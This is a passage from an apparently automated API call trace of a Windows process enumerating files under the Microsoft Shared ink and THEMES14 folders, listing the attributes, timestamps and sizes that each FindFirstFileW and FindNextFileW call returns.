lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.558] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.558] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.558] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0040.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.634] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.634] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0040.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0040.637] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.637] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0040.638] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0040.638] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f75b68 | out: hHeap=0x5a0000) returned 1 [0040.638] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0040.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0040.638] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.638] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0041.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0041.414] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.414] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0041.415] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0041.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0041.415] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0041.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0041.415] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.415] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0041.415] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0041.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0041.416] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0041.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0041.416] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.416] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0041.416] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0041.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0041.416] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0041.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0041.417] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.417] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0041.418] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0041.418] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0041.418] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0041.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0041.418] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.418] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0041.419] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0041.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0041.419] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0041.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0041.420] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.420] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0041.420] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0041.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0041.420] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0041.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0041.422] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.422] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0041.422] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0041.422] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0041.422] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0041.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0041.423] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.423] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", 